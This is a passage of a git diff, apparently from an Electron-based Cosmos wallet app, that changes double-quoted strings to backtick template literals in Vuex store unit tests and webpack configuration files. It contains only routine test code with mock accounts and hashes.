store.dispatch("setLastHeader", { + await store.dispatch(`setLastHeader`, { height: 42, - chain_id: "test-net" + chain_id: `test-net` }) - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) - store.commit("setDelegates", lcdClientMock.state.candidates) - store.commit("setCommittedDelegation", { + store.commit(`setDelegates`, lcdClientMock.state.candidates) + store.commit(`setCommittedDelegation`, { candidateId: lcdClientMock.validators[0], value: 1 }) - store.commit("setUnbondingDelegations", { + store.commit(`setUnbondingDelegations`, { validator_addr: lcdClientMock.validators[1], balance: { amount: 1 }, min_time: new Date().toUTCString() }) jest.runAllTimers() // updating is waiting if more updates coming in, this skips the waiting - await store.dispatch("signOut") + await store.dispatch(`signOut`) expect( store.state.delegation.committedDelegates[lcdClientMock.validators[0]] @@ -101,9 +101,9 @@ describe("Store", () => { ).toBeFalsy() expect(store.state.delegation.delegates).toHaveLength(0) - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) expect(store.state.delegates.delegates).toHaveLength(3) @@ -119,27 +119,27 @@ describe("Store", () => { expect(store.state.delegation.delegates).toHaveLength(1) }) - it("should throttle updating the store cache", async () => { + it(`should throttle updating the store cache`, async () => { jest.useFakeTimers() - await store.dispatch("setLastHeader", { + await store.dispatch(`setLastHeader`, { height: 42, - chain_id: "test-net" + chain_id: `test-net` }) - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) - store.commit("setWalletBalances", [{ denom: "fabocoin", amount: 42 }]) + store.commit(`setWalletBalances`, [{ denom: `fabocoin`, amount: 42 }]) // not updating yet, as it waits if there are more updates incoming expect( - localStorage.getItem("store_test-net_" + lcdClientMock.addresses[0]) + localStorage.getItem(`store_test-net_` + lcdClientMock.addresses[0]) ).toBeFalsy() jest.runAllTimers() expect( - localStorage.getItem("store_test-net_" + lcdClientMock.addresses[0]) + localStorage.getItem(`store_test-net_` + lcdClientMock.addresses[0]) ).toBeTruthy() }) }) diff --git a/test/unit/specs/store/themes.spec.js b/test/unit/specs/store/themes.spec.js index cdce2468a0..78cd71aeaa 100644 --- a/test/unit/specs/store/themes.spec.js +++ b/test/unit/specs/store/themes.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Themes", () => { +describe(`Module: Themes`, () => { let store, state beforeEach(() => { @@ -10,28 +10,28 @@ describe("Module: Themes", () => { state = store.state.themes }) - it("has a dark theme", () => { + it(`has a dark theme`, () => { expect(state.options.dark).toMatchSnapshot() }) - it("has a light theme", () => { + it(`has a light theme`, () => { expect(state.options.light).toMatchSnapshot() }) - it("loads themes", () => { - expect(state.active).toBe("dark") - localStorage.setItem("appTheme", "light") - store.dispatch("loadTheme") - expect(state.active).toBe("light") + it(`loads themes`, () => { + expect(state.active).toBe(`dark`) + localStorage.setItem(`appTheme`, `light`) + store.dispatch(`loadTheme`) + expect(state.active).toBe(`light`) }) - it("sets themes", () => { - expect(state.active).toBe("dark") - store.commit("setTheme", "light") - expect(state.active).toBe("light") + it(`sets themes`, () => { + expect(state.active).toBe(`dark`) + store.commit(`setTheme`, `light`) + expect(state.active).toBe(`light`) }) - it("updates themes", () => { - store.commit("updateTheme", "light") + it(`updates themes`, () => { + store.commit(`updateTheme`, `light`) }) }) diff --git a/test/unit/specs/store/transactions.spec.js b/test/unit/specs/store/transactions.spec.js index 842dd9adb0..c09640c471 100644 --- a/test/unit/specs/store/transactions.spec.js +++ b/test/unit/specs/store/transactions.spec.js @@ -8,20 +8,20 @@ let stakingTxs = [ value: { msg: [ { - type: "cosmos-sdk/MsgDelegate", + type: `cosmos-sdk/MsgDelegate`, value: { validator_addr: lcdclientMock.validators[0], delegator_addr: lcdclientMock.addresses[0], delegation: { - amount: "24", - denom: "steak" + amount: `24`, + denom: `steak` } } } ] } }, - hash: "A7C6DE5CB923AF08E6088F1348047F16BABB9F48", + hash: `A7C6DE5CB923AF08E6088F1348047F16BABB9F48`, height: 160 }, { @@ -29,24 +29,24 @@ let stakingTxs = [ value: { msg: [ { - type: "cosmos-sdk/BeginUnbonding", + type: `cosmos-sdk/BeginUnbonding`, value: { validator_addr: lcdclientMock.validators[0], delegator_addr: lcdclientMock.addresses[0], - shares: "5" + shares: `5` } } ] } }, - hash: "A7C6FDE5CA923AF08E6088F1348047F16BABB9F48", + hash: `A7C6FDE5CA923AF08E6088F1348047F16BABB9F48`, height: 170 } ] let instance = setup() -describe("Module: Transactions", () => { +describe(`Module: Transactions`, () => { let store, node beforeEach(async () => { @@ -54,35 +54,35 @@ describe("Module: Transactions", () => { store = test.store node = test.node - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) // the mock txs are used at other places as well. there we simulate them already being enriched with time. here we want the pure txs to simulate enriching. store.commit( - "setWalletTxs", + `setWalletTxs`, walletTxs.map(tx => { delete tx.time return tx }) ) - store.commit("setStakingTxs", stakingTxs) + store.commit(`setStakingTxs`, stakingTxs) }) // DEFAULT - it("should have an empty state by default", () => { + it(`should have an empty state by default`, () => { expect(store.state.transactions).toMatchSnapshot() }) - it("should update transaction times", () => { + it(`should update transaction times`, () => { expect( - store.state.transactions.wallet.find(tx => tx.height === "3436").time + store.state.transactions.wallet.find(tx => tx.height === `3436`).time ).toBeUndefined() // enrich one wallet tx - store.commit("setTransactionTime", { - blockHeight: "3436", + store.commit(`setTransactionTime`, { + blockHeight: `3436`, blockMetaInfo: { header: { time: 1042 @@ -90,17 +90,17 @@ describe("Module: Transactions", () => { } }) expect( - store.state.transactions.wallet.find(tx => tx.height === "3436").time + store.state.transactions.wallet.find(tx => tx.height === `3436`).time ).toBe(1042) }) - it("should clear session data", () => { - store.dispatch("resetSessionData") + it(`should clear session data`, () => { + store.dispatch(`resetSessionData`) expect(store.state.transactions.wallet).toHaveLength(0) expect(store.state.transactions.staking).toHaveLength(0) }) - it("should load and enrich txs", async () => { + it(`should load and enrich txs`, async () => { node.getDelegatorTxs = jest.fn(() => walletTxs) node.txs = jest.fn(() => stakingTxs) @@ -123,29 +123,29 @@ describe("Module: Transactions", () => { } } - store.dispatch("resetSessionData") - await store.dispatch("getAllTxs") + store.dispatch(`resetSessionData`) + await store.dispatch(`getAllTxs`) expect(store.state.transactions.wallet).toMatchSnapshot() expect(store.state.transactions.staking).toMatchSnapshot() }) - it("should fail if trying to get transactions of wrong type", async done => { - await store.dispatch("getTx", "unknown").catch(() => done()) + it(`should fail if trying to get transactions of wrong type`, async done => { + await store.dispatch(`getTx`, `unknown`).catch(() => done()) }) - it("should query the txs on reconnection", async () => { + it(`should query the txs on reconnection`, async () => { store.state.node.stopConnecting = true store.state.transactions.loading = true - jest.spyOn(node, "txs") - await store.dispatch("reconnected") + jest.spyOn(node, `txs`) + await store.dispatch(`reconnected`) expect(node.txs).toHaveBeenCalled() }) - it("should not query the txs on reconnection if not stuck in loading", async () => { + it(`should not query the txs on reconnection if not stuck in loading`, async () => { store.state.node.stopConnecting = true store.state.transactions.loading = false - jest.spyOn(node, "txs") - await store.dispatch("reconnected") + jest.spyOn(node, `txs`) + await store.dispatch(`reconnected`) expect(node.txs).not.toHaveBeenCalled() }) }) diff --git a/test/unit/specs/store/user.spec.js b/test/unit/specs/store/user.spec.js index 154230250a..75bbb21f3a 100644 --- a/test/unit/specs/store/user.spec.js +++ b/test/unit/specs/store/user.spec.js @@ -4,17 +4,17 @@ import b32 from "scripts/b32" function mockGA() { window.analytics = { send: jest.fn() } } -jest.mock("renderer/google-analytics.js", () => mockGA) +jest.mock(`renderer/google-analytics.js`, () => mockGA) let instance = setup() -describe("Module: User", () => { +describe(`Module: User`, () => { let store, node let accounts = [ { - address: "tb1zg69v7yszg69v7yszg69v7yszg69v7ysd8ep6q", - name: "ACTIVE_ACCOUNT", - password: "1234567890" + address: `tb1zg69v7yszg69v7yszg69v7yszg69v7ysd8ep6q`, + name: `ACTIVE_ACCOUNT`, + password: `1234567890` } ] @@ -24,88 +24,88 @@ describe("Module: User", () => { node = test.node }) - it("should default to signed out state", () => { + it(`should default to signed out state`, () => { expect(store.state.user.signedIn).toBe(false) expect(store.state.user.password).toBe(null) expect(store.state.user.account).toBe(null) expect(store.state.user.address).toBe(null) }) - it("should add and remove history correctly", () => { + it(`should add and remove history correctly`, () => { expect(store.state.user.history.length).toBe(0) - store.commit("addHistory", "/") + store.commit(`addHistory`, `/`) expect(store.state.user.history.length).toBe(1) - store.commit("popHistory") + store.commit(`popHistory`) expect(store.state.user.history.length).toBe(0) }) - it("should pauseHistory correctly", () => { + it(`should pauseHistory correctly`, () => { expect(store.state.user.pauseHistory).toBe(false) - store.commit("pauseHistory", true) + store.commit(`pauseHistory`, true) expect(store.state.user.pauseHistory).toBe(true) - store.commit("pauseHistory", false) + store.commit(`pauseHistory`, false) expect(store.state.user.pauseHistory).toBe(false) }) - it("should set accounts", () => { - store.commit("setAccounts", accounts) + it(`should set accounts`, () => { + store.commit(`setAccounts`, accounts) expect(store.state.user.accounts).toEqual(accounts) }) - it("should show an error if loading accounts fails", async () => { - node.listKeys = () => Promise.reject("Expected Error") - await store.dispatch("loadAccounts") + it(`should show an error if loading accounts fails`, async () => { + node.listKeys = () => Promise.reject(`Expected Error`) + await store.dispatch(`loadAccounts`) expect(store.state.notifications[0].title).toBe(`Couldn't read keys`) }) - it("should set atoms", () => { - store.commit("setAtoms", 42) + it(`should set atoms`, () => { + store.commit(`setAtoms`, 42) expect(store.state.user.atoms).toBe(42) }) - it("should prepare the signin", async () => { + it(`should prepare the signin`, async () => { node.listKeys = () => Promise.resolve(accounts) - await store.dispatch("showInitialScreen") - expect(store.state.config.modals.session.state).toBe("sign-in") + await store.dispatch(`showInitialScreen`) + expect(store.state.config.modals.session.state).toBe(`sign-in`) expect(store.state.config.modals.session.active).toBe(true) }) - it("should show a welcome screen if there are no accounts yet", async () => { + it(`should show a welcome screen if there are no accounts yet`, async () => { node.listKeys = () => Promise.resolve([]) - await store.dispatch("showInitialScreen") - expect(store.state.config.modals.session.state).toBe("welcome") + await store.dispatch(`showInitialScreen`) + expect(store.state.config.modals.session.state).toBe(`welcome`) expect(store.state.config.modals.session.active).toBe(true) }) - it("should test if the login works", async () => { + it(`should test if the login works`, async () => { node.updateKey = (account, { name, old_password, new_password }) => { expect(account).toBe(name) expect(old_password).toBe(new_password) return true } - let output = await store.dispatch("testLogin", { - account: "default", - password: "1234567890" + let output = await store.dispatch(`testLogin`, { + account: `default`, + password: `1234567890` }) expect(output).toBe(true) }) - it("should raise an error if login test fails", done => { - node.updateKey = () => Promise.reject("Expected error") - store.dispatch("testLogin", {}).catch(() => done()) + it(`should raise an error if login test fails`, done => { + node.updateKey = () => Promise.reject(`Expected error`) + store.dispatch(`testLogin`, {}).catch(() => done()) }) - it("should create a seed phrase", async () => { - let seed = await store.dispatch("createSeed") + it(`should create a seed phrase`, async () => { + let seed = await store.dispatch(`createSeed`) expect(seed).toBeDefined() - expect(seed.split(" ").length).toBe(24) + expect(seed.split(` `).length).toBe(24) }) - it("should create a key from a seed phrase", async () => { - let seedPhrase = "abc" - let password = "123" - let name = "def" + it(`should create a key from a seed phrase`, async () => { + let seedPhrase = `abc` + let password = `123` + let name = `def` node.storeKey = jest.fn(node.storeKey) - let address = await store.dispatch("createKey", { + let address = await store.dispatch(`createKey`, { seedPhrase, password, name @@ -120,36 +120,36 @@ describe("Module: User", () => { expect(store.state.wallet.address).toBe(address) }) - it("should delete a key", async () => { - let password = "123" - let name = "def" + it(`should delete a key`, async () => { + let password = `123` + let name = `def` node.deleteKey = jest.fn() - await store.dispatch("deleteKey", { password, name }) + await store.dispatch(`deleteKey`, { password, name }) expect(node.deleteKey).toHaveBeenCalledWith(name, { password, name }) }) - it("should sign in", async () => { - let password = "123" - let account = "def" + it(`should sign in`, async () => { + let password = `123` + let account = `def` node.getKey = jest.fn(() => - Promise.resolve({ address: "tb1wdhk6efqv9jxgun9wdesd6m8k8" }) + Promise.resolve({ address: `tb1wdhk6efqv9jxgun9wdesd6m8k8` }) ) - await store.dispatch("signIn", { password, account }) + await store.dispatch(`signIn`, { password, account }) expect(node.getKey).toHaveBeenCalledWith(account) expect(store.state.user.signedIn).toBe(true) // initialize wallet - expect(store.state.wallet.address).toEqual("tb1wdhk6efqv9jxgun9wdesd6m8k8") + expect(store.state.wallet.address).toEqual(`tb1wdhk6efqv9jxgun9wdesd6m8k8`) // hide login expect(store.state.config.modals.session.active).toBe(false) }) - it("should sign out", async () => { - let password = "123" - let account = "def" - await store.dispatch("signIn", { password, account }) - store.dispatch("signOut") + it(`should sign out`, async () => { + let password = `123` + let account = `def` + await store.dispatch(`signIn`, { password, account }) + store.dispatch(`signOut`) expect(store.state.user.account).toBe(null) expect(store.state.user.password).toBe(null) expect(store.state.user.signedIn).toBe(false) @@ -158,60 +158,60 @@ describe("Module: User", () => { expect(store.state.config.modals.session.active).toBe(true) }) - it("should set the error collection opt in", async () => { - const Raven = require("raven-js") - const ravenSpy = jest.spyOn(Raven, "config") - store.dispatch("setErrorCollection", { account: "abc", optin: true }) + it(`should set the error collection opt in`, async () => { + const Raven = require(`raven-js`) + const ravenSpy = jest.spyOn(Raven, `config`) + store.dispatch(`setErrorCollection`, { account: `abc`, optin: true }) expect(store.state.user.errorCollection).toBe(true) expect(window.analytics).toBeTruthy() expect(ravenSpy).toHaveBeenCalled() - expect(ravenSpy).not.toHaveBeenCalledWith("") + expect(ravenSpy).not.toHaveBeenCalledWith(``) expect(ravenSpy.mock.calls).toMatchSnapshot() - store.dispatch("setErrorCollection", { account: "abc", optin: false }) + store.dispatch(`setErrorCollection`, { account: `abc`, optin: false }) expect(store.state.user.errorCollection).toBe(false) expect(window.analytics).toBeFalsy() - expect(ravenSpy).toHaveBeenCalledWith("") + expect(ravenSpy).toHaveBeenCalledWith(``) }) - it("should persist the error collection opt in", () => { - let localStorageSpy = jest.spyOn(localStorage, "setItem") - store.dispatch("setErrorCollection", { account: "abc", optin: true }) + it(`should persist the error collection opt in`, () => { + let localStorageSpy = jest.spyOn(localStorage, `setItem`) + store.dispatch(`setErrorCollection`, { account: `abc`, optin: true }) expect(localStorageSpy).toHaveBeenCalledWith( - "voyager_error_collection_abc", + `voyager_error_collection_abc`, true ) }) - it("should load the persistet error collection opt in", () => { - let localStorageSpy = jest.spyOn(localStorage, "getItem") - store.dispatch("setErrorCollection", { account: "abc", optin: true }) + it(`should load the persistet error collection opt in`, () => { + let localStorageSpy = jest.spyOn(localStorage, `getItem`) + store.dispatch(`setErrorCollection`, { account: `abc`, optin: true }) store.state.user.errorCollection = false - store.dispatch("loadErrorCollection", "abc") + store.dispatch(`loadErrorCollection`, `abc`) expect(store.state.user.errorCollection).toBe(true) - expect(localStorageSpy).toHaveBeenCalledWith("voyager_error_collection_abc") + expect(localStorageSpy).toHaveBeenCalledWith(`voyager_error_collection_abc`) - store.dispatch("setErrorCollection", { account: "abc", optin: false }) + store.dispatch(`setErrorCollection`, { account: `abc`, optin: false }) store.state.user.errorCollection = true - store.dispatch("loadErrorCollection", "abc") + store.dispatch(`loadErrorCollection`, `abc`) expect(store.state.user.errorCollection).toBe(false) }) - it("should reload accounts on reconnect as this could be triggered by a switch from a mocked connection", async () => { + it(`should reload accounts on reconnect as this could be triggered by a switch from a mocked connection`, async () => { store.state.user.accounts = [] - await store.dispatch("reconnected") + await store.dispatch(`reconnected`) expect(store.state.user.accounts.length).toBeGreaterThan(0) }) - it("should not set error collection if in development mode", async () => { - const Raven = require("raven-js") - const ravenSpy = jest.spyOn(Raven, "config") - jest.doMock("electron", () => ({ + it(`should not set error collection if in development mode`, async () => { + const Raven = require(`raven-js`) + const ravenSpy = jest.spyOn(Raven, `config`) + jest.doMock(`electron`, () => ({ ipcRenderer: { send: jest.fn() }, remote: { getGlobal(name) { - if (name === "config") + if (name === `config`) return { development: true } @@ -221,14 +221,14 @@ describe("Module: User", () => { // we need to force resetting of the store modules to enable the new electron mock jest.resetModules() - let setup = require("../../helpers/vuex-setup").default + let setup = require(`../../helpers/vuex-setup`).default let instance = setup() let test = instance.shallow() store = test.store node = test.node ravenSpy.mockClear() - store.dispatch("setErrorCollection", { account: "abc", optin: true }) + store.dispatch(`setErrorCollection`, { account: `abc`, optin: true }) expect(store.state.user.errorCollection).toBe(false) expect(window.analytics).toBeFalsy() expect(ravenSpy).not.toHaveBeenCalled() diff --git a/test/unit/specs/store/validators.spec.js b/test/unit/specs/store/validators.spec.js index 3be4d6f714..a107f21c5a 100644 --- a/test/unit/specs/store/validators.spec.js +++ b/test/unit/specs/store/validators.spec.js @@ -3,20 +3,20 @@ import setup from "../../helpers/vuex-setup" let instance = setup() import mockValidators from "./json/validators.json" -const mockValidatorHash = "1234567890123456789012345678901234567890" -const mockValidatorHashTwo = "0123456789012345678901234567890123456789" +const mockValidatorHash = `1234567890123456789012345678901234567890` +const mockValidatorHashTwo = `0123456789012345678901234567890123456789` const mockValidatorHeader = { height: 31312, - chain_id: "hash-browns", + chain_id: `hash-browns`, validators_hash: mockValidatorHash } const mockValidatorHeaderTwo = { height: 31337, - chain_id: "hash-browns", + chain_id: `hash-browns`, validators_hash: mockValidatorHashTwo } -describe("Module: Validators", () => { +describe(`Module: Validators`, () => { let node, store beforeEach(() => { @@ -25,61 +25,61 @@ describe("Module: Validators", () => { node = test.node }) - it("should have no validators by default", () => { + it(`should have no validators by default`, () => { expect(store.state.validators.validators).toEqual([]) }) - it("should have a null validator hash by default", () => { + it(`should have a null validator hash by default`, () => { expect(store.state.validators.validatorHash).toEqual(null) }) - it("should query validators", async () => { - await store.dispatch("getValidators") + it(`should query validators`, async () => { + await store.dispatch(`getValidators`) expect(store.state.validators.validators).toHaveLength(3) }) - it("should survive errors in querying validators", async () => { - node.rpc.validators = cb => cb({ message: "Expected Error" }, undefined) - store.dispatch("getValidators") + it(`should survive errors in querying validators`, async () => { + node.rpc.validators = cb => cb({ message: `Expected Error` }, undefined) + store.dispatch(`getValidators`) expect(store.state.validators.validators).toHaveLength(0) }) - it("should set validators", () => { - store.commit("setValidators", mockValidators) + it(`should set validators`, () => { + store.commit(`setValidators`, mockValidators) expect(store.state.validators.validatorHash).toEqual(null) }) - it("should set validator hash", () => { - store.commit("setValidatorHash", mockValidatorHash) + it(`should set validator hash`, () => { + store.commit(`setValidatorHash`, mockValidatorHash) expect(store.state.validators.validatorHash).toBe(mockValidatorHash) }) - it("should update validators if the hash is different", () => { - store.dispatch("maybeUpdateValidators", mockValidatorHeaderTwo) + it(`should update validators if the hash is different`, () => { + store.dispatch(`maybeUpdateValidators`, mockValidatorHeaderTwo) expect(store.state.validators.validatorHash).toBe(mockValidatorHashTwo) }) - it("should not update validators if the hash is not different", () => { - store.commit("setValidatorHash", mockValidatorHash) - store.dispatch("maybeUpdateValidators", mockValidatorHeader) - expect(store.getDispatches("getValidators")).toHaveLength(0) + it(`should not update validators if the hash is not different`, () => { + store.commit(`setValidatorHash`, mockValidatorHash) + store.dispatch(`maybeUpdateValidators`, mockValidatorHeader) + expect(store.getDispatches(`getValidators`)).toHaveLength(0) }) - it("should query the validators on reconnection", () => { + it(`should query the validators on reconnection`, () => { jest.resetModules() store.state.node.stopConnecting = true store.state.validators.loading = true - jest.spyOn(node, "getValidatorSet") - store.dispatch("reconnected") + jest.spyOn(node, `getValidatorSet`) + store.dispatch(`reconnected`) expect(node.getValidatorSet).toHaveBeenCalled() }) - it("should not query validators on reconnection if not stuck in loading", () => { + it(`should not query validators on reconnection if not stuck in loading`, () => { jest.resetModules() store.state.node.stopConnecting = true store.state.validators.loading = false - jest.spyOn(node.rpc, "validators") - store.dispatch("reconnected") + jest.spyOn(node.rpc, `validators`) + store.dispatch(`reconnected`) expect(node.rpc.validators).not.toHaveBeenCalled() }) }) diff --git a/test/unit/specs/store/wallet.spec.js b/test/unit/specs/store/wallet.spec.js index 5b7d9fe327..9fcb8cbd2f 100644 --- a/test/unit/specs/store/wallet.spec.js +++ b/test/unit/specs/store/wallet.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Wallet", () => { +describe(`Module: Wallet`, () => { let store, node beforeEach(() => { @@ -13,136 +13,136 @@ describe("Module: Wallet", () => { // DEFAULT - it("should have an empty state by default", () => { + it(`should have an empty state by default`, () => { expect(store.state.wallet).toMatchSnapshot() }) // MUTATIONS - it("should set wallet balances ", () => { - const balances = [{ denom: "leetcoin", amount: "1337" }] - store.commit("setWalletBalances", balances) + it(`should set wallet balances `, () => { + const balances = [{ denom: `leetcoin`, amount: `1337` }] + store.commit(`setWalletBalances`, balances) expect(store.state.wallet.balances).toBe(balances) }) - it("should set wallet key and clear balance ", () => { - const address = "tb1v9jxgun9wdenzv3nu98g8r" - store.commit("setWalletAddress", address) + it(`should set wallet key and clear balance `, () => { + const address = `tb1v9jxgun9wdenzv3nu98g8r` + store.commit(`setWalletAddress`, address) expect(store.state.wallet.address).toBe(address) expect(store.state.wallet.balances).toEqual([]) }) - it("should set denoms", () => { - const denoms = ["acoin", "bcoin", "ccoin"] - store.commit("setDenoms", denoms) + it(`should set denoms`, () => { + const denoms = [`acoin`, `bcoin`, `ccoin`] + store.commit(`setDenoms`, denoms) expect(store.state.wallet.denoms).toBe(denoms) }) // ACTIONS - it("should initialize wallet", async () => { - const address = "tb1mjt6dcdru8lgdz64h2fu0lrzvd5zv8sfcvkv2l" - await store.dispatch("initializeWallet", address) + it(`should initialize wallet`, async () => { + const address = `tb1mjt6dcdru8lgdz64h2fu0lrzvd5zv8sfcvkv2l` + await store.dispatch(`initializeWallet`, address) expect(store.state.wallet.address).toEqual(address) }) - it("should query wallet state", async () => { - store.dispatch("queryWalletState") + it(`should query wallet state`, async () => { + store.dispatch(`queryWalletState`) expect(store.state.wallet.balances).toEqual([]) expect(store.state.transactions.wallet).toEqual([]) - expect(store.state.send.nonce).toBe("0") + expect(store.state.send.nonce).toBe(`0`) }) - it("should query wallet balances", async () => { - store.commit("setWalletAddress", "abcd") + it(`should query wallet balances`, async () => { + store.commit(`setWalletAddress`, `abcd`) node.queryAccount = () => Promise.resolve({ coins: [ { - denom: "fermion", + denom: `fermion`, amount: 42 } ] }) - await store.dispatch("queryWalletBalances") + await store.dispatch(`queryWalletBalances`) expect(store.state.wallet.balances).toEqual([ { amount: 42, - denom: "fermion" + denom: `fermion` } ]) }) - it("should load denoms", async () => { - await store.dispatch("loadDenoms") - expect(store.state.wallet.denoms).toEqual(["mycoin", "fermion", "gregcoin"]) + it(`should load denoms`, async () => { + await store.dispatch(`loadDenoms`) + expect(store.state.wallet.denoms).toEqual([`mycoin`, `fermion`, `gregcoin`]) }) - it("should query the balances on reconnection", () => { + it(`should query the balances on reconnection`, () => { store.state.node.stopConnecting = true store.state.wallet.balancesLoading = true - store.state.wallet.address = "12345678901234567890" - jest.spyOn(node, "queryAccount") - store.dispatch("reconnected") + store.state.wallet.address = `12345678901234567890` + jest.spyOn(node, `queryAccount`) + store.dispatch(`reconnected`) expect(node.queryAccount).toHaveBeenCalled() }) - it("should not query the balances on reconnection if not stuck in loading", () => { + it(`should not query the balances on reconnection if not stuck in loading`, () => { store.state.node.stopConnecting = true store.state.wallet.balancesLoading = false - jest.spyOn(node, "queryAccount") - store.dispatch("reconnected") + jest.spyOn(node, `queryAccount`) + store.dispatch(`reconnected`) expect(node.queryAccount).not.toHaveBeenCalled() }) - it("should be in loading state before querying account, and not in loading state after", async () => { + it(`should be in loading state before querying account, and not in loading state after`, async () => { node.queryAccount = () => Promise.resolve({ coins: [ { - denom: "fermion", + denom: `fermion`, amount: 42 } ] }) expect(store.state.wallet.balancesLoading).toBe(true) - await store.dispatch("initializeWallet", "tb1wdhk6e2pv3j8yetnwv0yr6s6") + await store.dispatch(`initializeWallet`, `tb1wdhk6e2pv3j8yetnwv0yr6s6`) expect(store.state.wallet.balancesLoading).toBe(false) }) - it("should query wallet data at specified height", async done => { + it(`should query wallet data at specified height`, async done => { jest.useFakeTimers() let height = store.state.node.lastHeader.height - store.dispatch("queryWalletStateAfterHeight", height + 1).then(() => done()) + store.dispatch(`queryWalletStateAfterHeight`, height + 1).then(() => done()) store.state.node.lastHeader.height++ jest.runAllTimers() jest.useRealTimers() }) - it("should not error when subscribing with no address", async () => { + it(`should not error when subscribing with no address`, async () => { store.state.wallet.address = null store.state.wallet.decodedAddress = null - store.dispatch("walletSubscribe") + store.dispatch(`walletSubscribe`) }) - it("should handle subscription errors", async () => { - store.state.wallet.address = "x" - store.state.wallet.decodedAddress = "x" + it(`should handle subscription errors`, async () => { + store.state.wallet.address = `x` + store.state.wallet.decodedAddress = `x` console.error = jest.fn() node.rpc.subscribe = jest.fn(({}, cb) => { //query is param - cb(Error("foo")) + cb(Error(`foo`)) }) - store.dispatch("walletSubscribe") + store.dispatch(`walletSubscribe`) expect(console.error.mock.calls).toMatchSnapshot() }) - it("should query wallet on subscription txs", async () => { - store.state.wallet.address = "x" - store.state.wallet.decodedAddress = "x" + it(`should query wallet on subscription txs`, async () => { + store.state.wallet.address = `x` + store.state.wallet.decodedAddress = `x` await new Promise(resolve => { node.queryAccount = jest.fn(() => { @@ -155,14 +155,14 @@ describe("Module: Wallet", () => { cb(null, { data: { value: { TxResult: { height: -1 } } } }) }) - store.dispatch("walletSubscribe") + store.dispatch(`walletSubscribe`) }) }) - it("should backup to polling balances for now", async () => { + it(`should backup to polling balances for now`, async () => { jest.useFakeTimers() - store.state.wallet.address = "x" - store.state.wallet.decodedAddress = "x" + store.state.wallet.address = `x` + store.state.wallet.decodedAddress = `x` await new Promise(resolve => { node.queryAccount = jest.fn(() => { @@ -170,7 +170,7 @@ describe("Module: Wallet", () => { resolve() }) - store.dispatch("walletSubscribe") + store.dispatch(`walletSubscribe`) jest.runAllTimers() }) }) diff --git a/webpack.main.config.js b/webpack.main.config.js index 390dd41fda..a2a281f7d4 100644 --- a/webpack.main.config.js +++ b/webpack.main.config.js @@ -1,28 +1,28 @@ "use strict" -process.env.BABEL_ENV = "main" +process.env.BABEL_ENV = `main` -const path = require("path") -const webpack = require("webpack") +const path = require(`path`) +const webpack = require(`webpack`) let mainConfig = { entry: { - main: path.join(__dirname, "app/src/main/index.js") + main: path.join(__dirname, `app/src/main/index.js`) }, module: { rules: [ { test: /\.js$/, - loader: "babel-loader", + loader: `babel-loader`, exclude: /node_modules/ }, { test: /\.json$/, - loader: "json-loader" + loader: `json-loader` }, { test: /\.node$/, - loader: "node-loader" + loader: `node-loader` } ] }, @@ -31,21 +31,21 @@ let mainConfig = { __filename: false }, output: { - filename: "[name].js", - libraryTarget: "commonjs2", - path: path.join(__dirname, "app/dist") + filename: `[name].js`, + libraryTarget: `commonjs2`, + path: path.join(__dirname, `app/dist`) }, plugins: [ new webpack.NoEmitOnErrorsPlugin(), new webpack.DefinePlugin({ - "process.env.NODE_ENV": '"' + process.env.NODE_ENV + '"' + "process.env.NODE_ENV": `"` + process.env.NODE_ENV + `"` }) ], resolve: { - extensions: [".js", ".json", ".node"], - modules: [path.join(__dirname, "node_modules")] + extensions: [`.js`, `.json`, `.node`], + modules: [path.join(__dirname, `node_modules`)] }, - target: "electron-main" + target: `electron-main` } module.exports = mainConfig diff --git a/webpack.renderer.config.js b/webpack.renderer.config.js index 878c13543a..5f6f273098 100644 --- a/webpack.renderer.config.js +++ b/webpack.renderer.config.js @@ -1,50 +1,50 @@ "use strict" -process.env.BABEL_ENV = "renderer" +process.env.BABEL_ENV = `renderer` -const path = require("path") -const webpack = require("webpack") -const stylus = require("stylus") -const fs = require("fs-extra") +const path = require(`path`) +const webpack = require(`webpack`) +const stylus = require(`stylus`) +const fs = require(`fs-extra`) -const HtmlWebpackPlugin = require("html-webpack-plugin") -const VueLoaderPlugin = require("vue-loader/lib/plugin") +const HtmlWebpackPlugin = require(`html-webpack-plugin`) +const VueLoaderPlugin = require(`vue-loader/lib/plugin`) function resolve(dir) { return path.join(__dirname, dir) } let rendererConfig = { - devtool: "#eval-source-map", + devtool: `#eval-source-map`, entry: { - renderer: path.join(__dirname, "app/src/renderer/main.js") + renderer: path.join(__dirname, `app/src/renderer/main.js`) }, module: { rules: [ { test: /\.js$/, - use: "babel-loader", - include: [path.resolve(__dirname, "app/src/renderer")], + use: `babel-loader`, + include: [path.resolve(__dirname, `app/src/renderer`)], exclude: /node_modules/ }, { test: /\.json$/, - use: "json-loader" + use: `json-loader` }, { test: /\.vue$/, use: { - loader: "vue-loader" + loader: `vue-loader` } }, { test: /\.(png|jpe?g|gif|svg)(\?.*)?$/, use: [ { - loader: "url-loader", + loader: `url-loader`, query: { limit: 10000, - name: "imgs/[name].[ext]" + name: `imgs/[name].[ext]` } } ] @@ -53,21 +53,21 @@ let rendererConfig = { test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/, use: [ { - loader: "url-loader", + loader: `url-loader`, query: { limit: 10000, - name: "fonts/[name].[ext]" + name: `fonts/[name].[ext]` } } ] }, { test: /\.pug$/, - loader: "pug-plain-loader" + loader: `pug-plain-loader` }, { test: /\.styl(us)?$/, - use: ["vue-style-loader", "css-loader", "stylus-loader"] + use: [`vue-style-loader`, `css-loader`, `stylus-loader`] } ] }, @@ -81,16 +81,16 @@ let rendererConfig = { // https://github.com/visionmedia/superagent/issues/672 new webpack.DefinePlugin({ "global.GENTLY": false }), new HtmlWebpackPlugin({ - filename: "index.html", - template: "./app/index.ejs", + filename: `index.html`, + template: `./app/index.ejs`, appModules: - process.env.NODE_ENV !== "production" - ? path.resolve(__dirname, "app/node_modules") + process.env.NODE_ENV !== `production` + ? 